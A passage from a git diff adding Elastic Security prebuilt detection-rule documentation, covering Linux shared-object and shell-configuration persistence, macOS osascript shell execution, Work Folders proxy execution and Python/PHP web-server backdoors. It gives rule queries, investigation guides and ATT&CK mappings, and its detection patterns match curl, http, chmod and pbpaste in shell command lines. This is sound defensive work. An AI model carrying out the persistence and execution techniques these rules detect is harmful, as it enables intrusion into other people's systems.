+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:"linux" and event.action:("creation" or "file_create_event") and +(file.extension:"so" or file.name:*.so.*) and +file.path:( + /dev/shm/* or /usr/lib/* or /usr/lib64/* or /usr/local/lib/* or /usr/local/lib64/* or /lib/x86_64-linux-gnu/* or + /usr/lib/x86_64-linux-gnu/* or /lib/i386-linux-gnu/* or /usr/lib/i386-linux-gnu/* or /lib/* or /lib64/* +) and not ( + process.name:( + "dockerd" or "dpkg" or "rpm" or "snapd" or "yum" or "vmis-launcher" or "pacman" or "apt-get" or "dnf" or "podman" or + platform-python* or "dnf-automatic" or "unattended-upgrade" or "apk" or "snap-update-ns" or "install" or "exe" or + "systemd" or "root" or "sshd" or "pip" or "jlink" or python* or "update-alternatives" or pip* or "crio" or "packagekitd" + ) or + (process.name:"vmware-install.pl" and file.path:/usr/lib/vmware-tools/*) or + (process.name:"ssm-agent-worker" and file.path:/usr/lib/jvm/java*) or + process.executable : ( + /dev/fd/* or "/" or "/kaniko/executor" or "/usr/bin/buildah" or "/usr/bin/microdnf" or "/usr/sbin/yum-cron" or + "/usr/lib/check_mk_agent/plugins/3600/cmk-update-agent" or "/usr/bin/pamac-daemon" or "/usr/bin/dnf5" or + "3600/cmk-update-agent" or "/usr/lib/dracut/dracut-install" or "/usr/bin/dockerd" or "/usr/sbin/crond" or + "./usr/bin/qemu-aarch64-static" or "/usr/bin/nvidia-installer" or "./nvidia-installer" or "/usr/bin/cmake" or + /var/lib/docker/overlay2/* or "/usr/sbin/gdm" or "/opt/ITSPlatform/plugin/scap/fortify-scap-plugin" or + /tmp/makeself* or /tmp/selfgz* or "./usr/bin/qemu-aarch64" or "/usr/local/bin/cmake" or /opt/lpruitt/tmp/selfgz* or + "/usr/lib/snapd/snap-update-ns" or "/sbin/yum-cron" or "/usr/local/psa/bin/dnf_install" or /opt/lmanteuffel/useful/tmp/makeself* + ) or + file.name:libnvidia* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-configuration-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-configuration-creation.asciidoc new file mode 100644 index 0000000000..8cd67f1aca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-configuration-creation.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-shell-configuration-creation]] +=== Shell Configuration Creation + +This rule monitors the creation of a shell configuration file. Unix systems use shell configuration files to set environment variables, create aliases, and customize the user's environment. Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Configuration Creation* + + +Shell configuration files in Unix-like systems are crucial for setting up user environments by defining variables, aliases, and startup scripts. Adversaries exploit these files to execute malicious code persistently. The detection rule identifies suspicious creation or modification of these files, excluding benign processes, to flag potential threats, aligning with tactics like persistence and event-triggered execution. + + +*Possible investigation steps* + + +- Review the specific file path involved in the alert to determine if it is a system-wide or user-specific shell configuration file, as listed in the query. +- Identify the process executable that triggered the alert and verify if it is part of the excluded benign processes. If not, investigate the process's origin and purpose. +- Check the creation timestamp of the file to correlate with any known user activities or scheduled tasks that might explain the change. +- Examine the contents of the newly created shell configuration file for any suspicious or unauthorized entries, such as unexpected scripts or commands. +- Investigate the user account associated with the file creation to determine if the activity aligns with their typical behavior or if the account may have been compromised. +- Cross-reference the alert with other security logs or alerts to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum often modify shell configuration files during software installations or updates. To handle these, exclude processes with executables such as /bin/dpkg or /usr/bin/rpm from triggering alerts. +- Automated system management tools like Puppet and Chef may alter shell configuration files as part of their routine operations. Exclude these processes by adding exceptions for executables like /opt/puppetlabs/puppet/bin/puppet or /usr/bin/chef-client. +- User account management activities, such as adding new users, can lead to shell configuration file modifications. Exclude processes like /usr/sbin/adduser or /sbin/useradd to prevent false positives in these scenarios. +- Temporary files created by text editors (e.g., .swp files) during editing sessions can trigger alerts. Exclude file extensions such as swp, swpx, and swx to avoid these false positives. +- Virtualization and containerization tools like Docker and Podman may modify shell configuration files as part of their operations. Exclude executables like /usr/bin/dockerd or /usr/bin/podman to manage these cases. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Review the modified or newly created shell configuration files to identify and remove any unauthorized or malicious code. +- Restore the affected shell configuration files from a known good backup to ensure the system's environment is clean and secure. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system and network for any signs of re-infection or related suspicious activity, focusing on the indicators of compromise (IOCs) associated with the Kaiji malware family. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement additional monitoring and alerting for changes to shell configuration files to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.path : ( + // system-wide configurations + "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc", "/etc/bash.bash_logout", "/etc/zsh/*", + "/etc/csh.cshrc", "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc", + // root and user configurations + "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login", "/home/*/.bash_logout", "/home/*/.bash_profile", + "/root/.profile", "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout", "/root/.bash_profile", + "/root/.bash_aliases", "/home/*/.bash_aliases", "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", + "/root/.zshrc", "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc", "/root/.login", + "/root/.logout", "/home/*/.config/fish/config.fish", "/root/.config/fish/config.fish", "/home/*/.kshrc", + "/root/.kshrc" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/sbin/adduser", "/usr/sbin/useradd", "/usr/local/bin/dockerd", + "/usr/sbin/gdm", "/usr/bin/unzip", "/usr/bin/gnome-shell", "/sbin/mkhomedir_helper", "/usr/sbin/sshd", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/xfce4-session", "/usr/libexec/oddjob/mkhomedir", "/sbin/useradd", + "/usr/lib/systemd/systemd", "/usr/sbin/crond", "/usr/bin/pamac-daemon", "/usr/sbin/mkhomedir_helper", + "/opt/pbis/sbin/lwsmd", "/usr/sbin/oddjobd", "./usr/bin/podman", "/usr/bin/dnf5", "/bin/dnf5", + "/usr/libexec/gnome-terminal-server", "/usr/bin/buildah", "/usr/lib/venv-salt-minion/bin/python.original" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/usr/libexec/platform-python*", "./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/alt/python*/bin/python*" + ) or + process.executable == null or + process.name in ("adclient", "mkhomedir_helper", "teleport", "mkhomedir", "adduser", "desktopDaemon", "executor", "crio") or + (process.name == "sed" and file.name like "sed*") or + (process.name == "perl" and file.name like "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-execution-via-apple-scripting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-execution-via-apple-scripting.asciidoc new file mode 100644 index 0000000000..f41ffd0d05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-shell-execution-via-apple-scripting.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-shell-execution-via-apple-scripting]] +=== Shell Execution via Apple Scripting + +Identifies the execution of the shell process (sh) via scripting (JXA or AppleScript). Adversaries may use the doShellScript functionality in JXA or do shell script in AppleScript to execute system commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/technotes/tn2065/_index.html +* https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Execution via Apple Scripting* + + +AppleScript and JXA are scripting languages used in macOS to automate tasks and control applications. Adversaries exploit these by executing shell commands through functions like `doShellScript`, enabling unauthorized actions such as data exfiltration or system modification. The detection rule identifies suspicious shell processes initiated by AppleScript, focusing on specific command patterns and rapid sequence execution, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.entity_id involved in the suspicious activity. +- Examine the process arguments for osascript to determine the exact AppleScript command executed, focusing on the presence of the "-e" flag which indicates script execution. +- Investigate the parent process of the shell (sh, bash, zsh) to understand the context in which the shell command was executed, using process.parent.entity_id for correlation. +- Analyze the shell command arguments, particularly looking for potentially malicious patterns such as "*curl*", "*pbcopy*", "*http*", or "*chmod*", which may indicate data exfiltration or system modification attempts. +- Check the sequence and timing of the processes to assess if the execution pattern aligns with typical user behavior or if it suggests automated or rapid execution indicative of a script. +- Correlate the findings with any other security alerts or logs from the same host to identify if this activity is part of a broader attack or isolated incident. +- If necessary, escalate the investigation by capturing additional forensic data from the affected host, such as network traffic or file system changes, to further understand the impact and scope of the activity. + + +*False positive analysis* + + +- Routine administrative scripts may trigger the rule if they use AppleScript or JXA to automate tasks involving shell commands. To manage this, identify and whitelist these scripts by their specific command patterns or execution context. +- Software updates or legitimate application installations might execute shell commands through AppleScript, appearing suspicious. Monitor and document these activities, and create exceptions for known update processes. +- Development tools and environments that rely on scripting for building or testing applications can generate false positives. Exclude these processes by verifying their source and ensuring they align with expected development activities. +- User-initiated automation tasks, such as custom scripts for personal productivity, may be flagged. Educate users on safe scripting practices and establish a process for reviewing and approving such scripts to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, specifically those initiated by `osascript` executing shell commands. +- Conduct a thorough review of the affected system's logs and process history to identify any additional unauthorized activities or persistence mechanisms. +- Remove any unauthorized scripts or files that were executed or created as part of the malicious activity. +- Reset credentials and review permissions for any accounts that may have been compromised or used in the attack. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar patterns of behavior, focusing on the use of `osascript` and shell command execution, to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "macos" and event.type in ("start", "process_started") and event.action == "exec" and process.name == "osascript" and process.args == "-e"] by process.entity_id + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name in ("sh", "bash", "zsh") and process.args == "-c" and process.command_line : ("*curl*", "*pbpaste*", "*http*", "*chmod*", "*nscurl*")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-signed-proxy-execution-via-ms-work-folders.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-signed-proxy-execution-via-ms-work-folders.asciidoc new file mode 100644 index 0000000000..d6122cc9ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-signed-proxy-execution-via-ms-work-folders.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-signed-proxy-execution-via-ms-work-folders]] +=== Signed Proxy Execution via MS Work Folders + +Identifies the use of Windows Work Folders to execute a potentially masqueraded control.exe file in the current working directory. Misuse of Windows Work Folders could indicate malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/storage/work-folders/work-folders-overview +* https://twitter.com/ElliotKillick/status/1449812843772227588 +* https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Signed Proxy Execution via MS Work Folders* + + +Work Folders is a role service for file servers running Windows Server that provides a consistent way for users to access their work files from their PCs and devices. This allows users to store work files and access them from anywhere. When called, Work Folders will automatically execute any Portable Executable (PE) named control.exe as an argument before accessing the synced share. + +Using Work Folders to execute a masqueraded control.exe could allow an adversary to bypass application controls and increase privileges. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Examine the location of the WorkFolders.exe binary to determine if it was copied to the location of the control.exe binary. It resides in the System32 directory by default. +- Trace the activity related to the control.exe binary to identify any continuing intrusion activity on the host. +- Review the control.exe binary executed with Work Folders to determine maliciousness such as additional host activity or network traffic. +- Determine if control.exe was synced to sync share, indicating potential lateral movement. +- Review how control.exe was originally delivered on the host, such as emailed, downloaded from the web, or written to +disk from a separate binary. + + +*False positive analysis* + + +- Windows Work Folders are used legitimately by end users and administrators for file sharing and syncing but not in the instance where a suspicious control.exe is passed as an argument. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Review the Work Folders synced share to determine if the control.exe was shared and if so remove it. +- If no lateral movement was identified during investigation, take the affected host offline if possible and remove the control.exe binary as well as any additional artifacts identified during investigation. +- Review integrating Windows Information Protection (WIP) to enforce data protection by encrypting the data on PCs using Work Folders. +- Confirm with the user whether this was expected or not, and reset their password. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "control.exe" and process.parent.name : "WorkFolders.exe" and + not process.executable : ( + "?:\\Windows\\System32\\control.exe", + "?:\\Windows\\SysWOW64\\control.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\control.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\control.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by Search Order Hijacking +** ID: T1574.008 +** Reference URL: https://attack.mitre.org/techniques/T1574/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-connection.asciidoc new file mode 100644 index 0000000000..b84a577747 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-connection.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-20-simple-http-web-server-connection]] +=== Simple HTTP Web Server Connection + +This rule detects connections accepted by a simple HTTP web server in Python and PHP built-in modules. Adversaries may create simple HTTP web servers to establish persistence on a compromised system by uploading a reverse or command shell payload to the server web root, allowing them to regain remote access to the system if lost. This event may occur when an attacker requests the server to execute a command or script via a potential backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Simple HTTP Web Server Connection* + + +Simple HTTP servers in Python and PHP are often used for development and testing, providing a quick way to serve web content. However, attackers can exploit these servers to maintain access on compromised Linux systems by deploying backdoors or executing commands remotely. The detection rule identifies suspicious server activity by monitoring for specific process patterns and command-line arguments indicative of these lightweight servers, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details, including the process name and command line arguments, to confirm if the server was started using Python or PHP, as indicated by the query fields. +- Check the network connection details associated with the event, such as the source and destination IP addresses and ports, to identify any suspicious or unexpected connections. +- Investigate the user account under which the process was initiated to determine if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the system logs and any related events around the time of the alert to identify any additional suspicious activities or anomalies. +- Assess the server's web root directory for any unauthorized files or scripts that could indicate a backdoor or malicious payload. +- Correlate this event with other alerts or indicators of compromise on the system to evaluate if this is part of a larger attack campaign. + + +*False positive analysis* + + +- Development and testing environments may frequently trigger this rule when developers use Python or PHP's built-in HTTP servers for legitimate purposes. To manage this, consider excluding specific user accounts or IP addresses associated with development activities from the rule. +- Automated scripts or cron jobs that start simple HTTP servers for routine tasks can also generate false positives. Identify these scripts and add their process names or command-line patterns to an exception list. +- Educational or training environments where students are learning web development might cause alerts. In such cases, exclude the network segments or user groups associated with these activities. +- Internal tools or services that rely on lightweight HTTP servers for functionality might be flagged. Review these tools and whitelist their specific process names or command-line arguments to prevent unnecessary alerts. +- Temporary testing servers spun up for short-term projects can be mistaken for malicious activity. Document these instances and apply temporary exceptions during the project duration. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious Python or PHP processes identified by the detection rule to stop the potential backdoor or unauthorized server activity. +- Conduct a thorough review of the system's file system, focusing on the web root directory, to identify and remove any unauthorized scripts or payloads that may have been uploaded. +- Change all credentials associated with the compromised system, including SSH keys and passwords, to prevent attackers from regaining access. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Implement network monitoring to detect any future unauthorized HTTP server activity, focusing on unusual process patterns and command-line arguments. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m +[process where host.os.type == "linux" and event.type == "start" and + ( + (process.name regex~ """php?[0-9]?\.?[0-9]{0,2}""" and process.command_line like "*-S*") or + (process.name like "python*" and process.command_line like ("*--cgi*", "*CGIHTTPServer*")) + ) and not process.parent.command_line == "runc init" +] +[network where host.os.type == "linux" and event.type == "start" and event.action == "connection_accepted"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and 